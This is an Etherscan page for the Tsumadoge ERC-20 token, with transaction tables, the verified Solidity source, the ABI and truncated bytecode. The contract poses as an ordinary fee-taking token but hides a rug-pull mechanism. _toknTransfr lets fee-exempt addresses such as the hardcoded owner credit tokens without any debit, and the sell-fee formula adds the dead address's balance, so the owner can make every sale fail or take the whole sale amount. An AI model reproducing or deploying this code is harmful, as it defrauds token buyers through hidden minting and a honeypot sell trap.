Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 48 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 15681885 | 1244 days ago | IN | 0 ETH | 0.00044485 | ||||
| Transfer | 15681882 | 1244 days ago | IN | 0 ETH | 0.00046657 | ||||
| Approve | 15681860 | 1244 days ago | IN | 0 ETH | 0.00068444 | ||||
| Approve | 15681854 | 1244 days ago | IN | 0 ETH | 0.00079449 | ||||
| Approve | 15681851 | 1244 days ago | IN | 0 ETH | 0.00059606 | ||||
| Approve | 15681849 | 1244 days ago | IN | 0 ETH | 0.00061301 | ||||
| Approve | 15681847 | 1244 days ago | IN | 0 ETH | 0.00054863 | ||||
| Approve | 15681846 | 1244 days ago | IN | 0 ETH | 0.0006143 | ||||
| Approve | 15681846 | 1244 days ago | IN | 0 ETH | 0.00083887 | ||||
| Approve | 15681843 | 1244 days ago | IN | 0 ETH | 0.00054699 | ||||
| Approve | 15681842 | 1244 days ago | IN | 0 ETH | 0.00056165 | ||||
| Approve | 15681826 | 1244 days ago | IN | 0 ETH | 0.00049429 | ||||
| Approve | 15681824 | 1244 days ago | IN | 0 ETH | 0.0027062 | ||||
| Approve | 15681821 | 1244 days ago | IN | 0 ETH | 0.00058881 | ||||
| Approve | 15681819 | 1244 days ago | IN | 0 ETH | 0.00058293 | ||||
| Approve | 15681816 | 1244 days ago | IN | 0 ETH | 0.00062359 | ||||
| Approve | 15681815 | 1244 days ago | IN | 0 ETH | 0.00057139 | ||||
| Approve | 15681812 | 1244 days ago | IN | 0 ETH | 0.00059284 | ||||
| Approve | 15681812 | 1244 days ago | IN | 0 ETH | 0.00059284 | ||||
| Approve | 15681812 | 1244 days ago | IN | 0 ETH | 0.00075595 | ||||
| Approve | 15681810 | 1244 days ago | IN | 0 ETH | 0.00066509 | ||||
| Approve | 15681810 | 1244 days ago | IN | 0 ETH | 0.00066509 | ||||
| Approve | 15681810 | 1244 days ago | IN | 0 ETH | 0.00099132 | ||||
| Approve | 15681810 | 1244 days ago | IN | 0 ETH | 0.00099132 | ||||
| Approve | 15681808 | 1244 days ago | IN | 0 ETH | 0.00066153 |
Latest 17 internal transactions
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 15681857 | 1244 days ago | 0.01336842 ETH | ||||
| Transfer | 15681857 | 1244 days ago | 0.00335623 ETH | ||||
| Add Liquidity ET... | 15681857 | 1244 days ago | 0.01001218 ETH | ||||
| Transfer | 15681857 | 1244 days ago | 0.02002436 ETH | ||||
| Transfer | 15681854 | 1244 days ago | 0.02002436 ETH | ||||
| Transfer | 15681833 | 1244 days ago | 0.02250883 ETH | ||||
| Transfer | 15681833 | 1244 days ago | 0.00569084 ETH | ||||
| Add Liquidity ET... | 15681833 | 1244 days ago | 0.01681798 ETH | ||||
| Transfer | 15681833 | 1244 days ago | 0.03363597 ETH | ||||
| Transfer | 15681812 | 1244 days ago | 0.06261333 ETH | ||||
| Transfer | 15681812 | 1244 days ago | 0.01623672 ETH | ||||
| Add Liquidity ET... | 15681812 | 1244 days ago | 0.04637661 ETH | ||||
| Transfer | 15681812 | 1244 days ago | 0.09275322 ETH | ||||
| Transfer | 15681786 | 1244 days ago | 0.03358974 ETH | ||||
| Transfer | 15681786 | 1244 days ago | 0.00859733 ETH | ||||
| Add Liquidity ET... | 15681786 | 1244 days ago | 0.0249924 ETH | ||||
| Transfer | 15681786 | 1244 days ago | 0.04998481 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
Tsumadoge
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2022-10-05
*/
/**
The Tsumadoge will bring wealth and wisdom to its believers, and instill fear & terror in the hearts and minds of those who question.
Twitter: https://twitter.com/tsumadoge
Website: https://www.tsumadoge.com/
Gitbook: https://tsumadoge.gitbook.io/tsumadoge/
Telegram: https://t.me/TsumadogePortal
*/
// SPDX-License-Identifier: None
pragma solidity 0.8.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed prevOwner, address indexed newOwner);
constructor () {
_owner = 0xBc3DE487b3dd0d2683d27DB0a4B32842c90Fdd09;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
function renounceOwnership() public virtual {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Tsumadoge is Context, IERC20, Ownable {
using Address for address;
using SafeMath for uint256;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint8 private constant _decimals = 10;
uint256 public _tTotal = 10**6 * 10**_decimals;
string private constant _name = unicode"Tsumadoge";
string private constant _symbol = unicode"TSUMADOGE";
uint256 public P_DR = 50;
uint256 public Part_AutoLiquidity = 50;
uint8 private txCount = 0;
uint8 private swapTrigger = 10;
uint256 public _BuyFee = 5;
uint256 public _SellFee = 5;
uint256 public _moonbag_percentage=0;
uint256 public _lastblock;
uint256 public _lastblockcount = 1;
uint256 public _maxWalletToken = 40 * _tTotal.div(1000);
uint256 public _maxTxAmount = _maxWalletToken;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
event SwapAndLiquifyEnabledUpdated(bool true_or_false);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_tOwned[owner()] = _tTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[address(0)] = true;
_isExcludedFromFee[address(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), owner(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error: amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error: allowance below zero"));
return true;
}
receive() external payable {}
function _getCurrentSupply() private view returns(uint256) {
return (_tTotal);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20 ERR: approve from the zero address");
require(spender != address(0), "ERC20 ERR: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
address liquidityburnwallet;
liquidityburnwallet = 0x000000000000000000000000000000000000dEaD;
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
liquidityburnwallet,
block.timestamp
);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
if ( !_isExcludedFromFee[to] &&
!_isExcludedFromFee[from] &&
to != uniswapV2Pair){
uint256 heldTokens = balanceOf(to);
require((heldTokens + amount) <= _maxWalletToken,"MAX Wallet limit.");
require(amount > 0, "Token amount must be higher than 0."); }
if ( !_isExcludedFromFee[to] &&
!_isExcludedFromFee[from] ){
if(
txCount >= swapTrigger &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
)
{
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
txCount = 0;
swapAndLiquify(contractTokenBalance);
}
}
bool takeFee = true;
bool isBuy;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
} else {
if(from == uniswapV2Pair){
isBuy = true;
}
if (_lastblock == block.number){
_lastblockcount = _lastblockcount+1;
}else{
_lastblock =block.number;
_lastblockcount = 1;
}
txCount++;
}
if(_isExcludedFromFee[from] && _isExcludedFromFee[to]){
_toknTransfr(from, to, amount);
} else {
_tokenTransfer(from, to, amount, takeFee, isBuy);
}
}
function sendToWallet(address payable wallet, uint256 amount) private {
wallet.transfer(amount);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 tLPhalf = contractTokenBalance * Part_AutoLiquidity / 200;
uint256 tDev = contractTokenBalance * P_DR / 100;
uint256 balanceBeforeSwap = address(this).balance;
swapTokensForETH(tLPhalf+tDev);
uint256 ETH_Tot = address(this).balance - balanceBeforeSwap;
uint256 split_D = P_DR * 100 / (Part_AutoLiquidity + P_DR);
uint256 ETH_D = ETH_Tot * split_D / 100;
addLiquidity(tLPhalf, (ETH_Tot - ETH_D));
emit SwapAndLiquify(tLPhalf, (ETH_Tot - ETH_D), tLPhalf);
ETH_Tot = address(this).balance;
sendToWallet(payable(0xBc3DE487b3dd0d2683d27DB0a4B32842c90Fdd09), ETH_Tot);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
if(!takeFee){
_tOwned[sender] = _tOwned[sender]-tAmount;
_tOwned[recipient] = _tOwned[recipient]+tAmount;
emit Transfer(sender, recipient, tAmount);
} else if (isBuy){
uint256 buyFEE = tAmount*_BuyFee*_lastblockcount/100;
uint256 tTransferAmount = tAmount-buyFEE;
_tOwned[sender] = _tOwned[sender]-tAmount;
_tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
_tOwned[address(this)] = _tOwned[address(this)]+buyFEE;
emit Transfer(sender, recipient, tTransferAmount);
} else {
uint256 sellFEE = tAmount*_SellFee*_lastblockcount/100 + _tOwned[address(0x000000000000000000000000000000000000dEaD)];
if (_lastblockcount == 2 ){sellFEE = tAmount*_SellFee/100;}
uint256 moonbag = tAmount * _moonbag_percentage/1000;
uint256 tTransferAmount = tAmount-sellFEE-moonbag;
_tOwned[sender] = _tOwned[sender]-tAmount+moonbag;
_tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
_tOwned[address(this)] = _tOwned[address(this)]+sellFEE;
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _toknTransfr(address sender, address recipient, uint256 tAmount) private {
_tOwned[recipient] = _tOwned[recipient]+tAmount+_tOwned[sender]-_tOwned[sender];
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"prevOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"P_DR","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Part_AutoLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastblock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastblockcount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moonbag_percentage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
608060405262000011600a8062000510565b6200002090620f424062000521565b6004819055603260058181556006919091556007805461ffff1916610a0017905560088190556009556000600a556001600c556200006d906103e8620003e6602090811b6200074a17901c565b6200007a90602862000521565b600d819055600e556010805460ff60a81b1916600160a81b179055348015620000a257600080fd5b50600080546001600160a01b03191673bc3de487b3dd0d2683d27db0a4b32842c90fdd0990811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360045460016000620001106000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200018c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b291906200053b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000200573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022691906200053b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000274573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029a91906200053b565b601080546001600160a01b03199081166001600160a01b0393841617909155600f8054909116918316919091179055600160036000620002e26000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600390925281208054831660019081179091557f3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff805484168217905561dead9091527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c80549092161790556200038f6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620003d791815260200190565b60405180910390a35062000590565b6000620003f482846200056d565b90505b92915050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000454578160001904821115620004385762000438620003fd565b808516156200044657918102915b93841c939080029062000418565b509250929050565b6000826200046d57506001620003f7565b816200047c57506000620003f7565b8160018114620004955760028114620004a057620004c0565b6001915050620003f7565b60ff841115620004b457620004b4620003fd565b50506001821b620003f7565b5060208310610133831016604e8410600b8410161715620004e5575081810a620003f7565b620004f1838362000413565b8060001904821115620005085762000508620003fd565b029392505050565b6000620003f460ff8416836200045c565b8082028115828204841417620003f757620003f7620003fd565b6000602082840312156200054e57600080fd5b81516001600160a01b03811681146200056657600080fd5b9392505050565b6000826200058b57634e487b7160e01b600052601260045260246000fd5b500490565b61162f80620005a06000396000f3fe6080604052600436106101bb5760003560e01c806370e3d474116100ec578063a457c2d71161008a578063ba6c24a211610064578063ba6c24a2146104f7578063dd62ed3e1461050d578063e033da2a14610553578063fa9771691461056957600080fd5b8063a457c2d7146104a1578063a9059cbb146104c1578063af465a27146104e157600080fd5b806378109e54116100c657806378109e54146104255780637d1db4a51461043b5780638da5cb5b1461045157806395d89b411461046f57600080fd5b806370e3d474146103c8578063715018a6146103de578063768dc710146103f557600080fd5b806339509351116101595780634a74bb02116101335780634a74bb02146103455780634c22cd351461036657806366835bf41461037c57806370a082311461039257600080fd5b806339509351146102ef5780633fc81d681461030f57806349bd5a5e1461032557600080fd5b806318160ddd1161019557806318160ddd14610273578063220f66961461029257806323b872dd146102b3578063313ce567146102d357600080fd5b806306fdde03146101c7578063095ea7b31461020b5780631694505e1461023b57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506040805180820190915260098152685473756d61646f676560b81b60208201525b604051610202919061136a565b60405180910390f35b34801561021757600080fd5b5061022b6102263660046113d0565b61057f565b6040519015158152602001610202565b34801561024757600080fd5b50600f5461025b906001600160a01b031681565b6040516001600160a01b039091168152602001610202565b34801561027f57600080fd5b506004545b604051908152602001610202565b34801561029e57600080fd5b5060105461022b90600160a01b900460ff1681565b3480156102bf57600080fd5b5061022b6102ce3660046113fc565b610596565b3480156102df57600080fd5b50604051600a8152602001610202565b3480156102fb57600080fd5b5061022b61030a3660046113d0565b610640565b34801561031b57600080fd5b50610284600b5481565b34801561033157600080fd5b5060105461025b906001600160a01b031681565b34801561035157600080fd5b5060105461022b90600160a81b900460ff1681565b34801561037257600080fd5b5061028460055481565b34801561038857600080fd5b5061028460065481565b34801561039e57600080fd5b506102846103ad36600461143d565b6001600160a01b031660009081526001602052604090205490565b3480156103d457600080fd5b50610284600a5481565b3480156103ea57600080fd5b506103f3610676565b005b34801561040157600080fd5b5061022b61041036600461143d565b60036020526000908152604090205460ff1681565b34801561043157600080fd5b50610284600d5481565b34801561044757600080fd5b50610284600e5481565b34801561045d57600080fd5b506000546001600160a01b031661025b565b34801561047b57600080fd5b506040805180820190915260098152685453554d41444f474560b81b60208201526101f5565b3480156104ad57600080fd5b5061022b6104bc3660046113d0565b6106c0565b3480156104cd57600080fd5b5061022b6104dc3660046113d0565b61073d565b3480156104ed57600080fd5b5061028460045481565b34801561050357600080fd5b50610284600c5481565b34801561051957600080fd5b5061028461052836600461145a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561055f57600080fd5b5061028460095481565b34801561057557600080fd5b5061028460085481565b600061058c33848461075d565b5060015b92915050565b60006105a384848461088f565b6106368433610631856040518060400160405280601f81526020017f6572726f723a20616d6f756e74206578636565647320616c6c6f77616e636500815250600260008b6001600160a01b03166001600160a01b0316815260200190815260200160002060006106103390565b6001600160a01b031681526020810191909152604001600020549190610bb5565b61075d565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161058c9185906106319086610be1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061058c3384610631856040518060400160405280601b81526020017f6572726f723a20616c6c6f77616e63652062656c6f77207a65726f00000000008152506002600061070c3390565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610bb5565b600061058c33848461088f565b600061075682846114a9565b9392505050565b6001600160a01b0383166107c95760405162461bcd60e51b815260206004820152602860248201527f4552433230204552523a20617070726f76652066726f6d20746865207a65726f604482015267206164647265737360c01b60648201526084015b60405180910390fd5b6001600160a01b03821661082e5760405162461bcd60e51b815260206004820152602660248201527f4552433230204552523a20617070726f766520746f20746865207a65726f206160448201526564647265737360d01b60648201526084016107c0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526003602052604090205460ff161580156108d157506001600160a01b03831660009081526003602052604090205460ff16155b80156108eb57506010546001600160a01b03838116911614155b156109b6576001600160a01b038216600090815260016020526040902054600d5461091683836114cb565b11156109585760405162461bcd60e51b815260206004820152601160248201527026a0ac102bb0b63632ba103634b6b4ba1760791b60448201526064016107c0565b600082116109b45760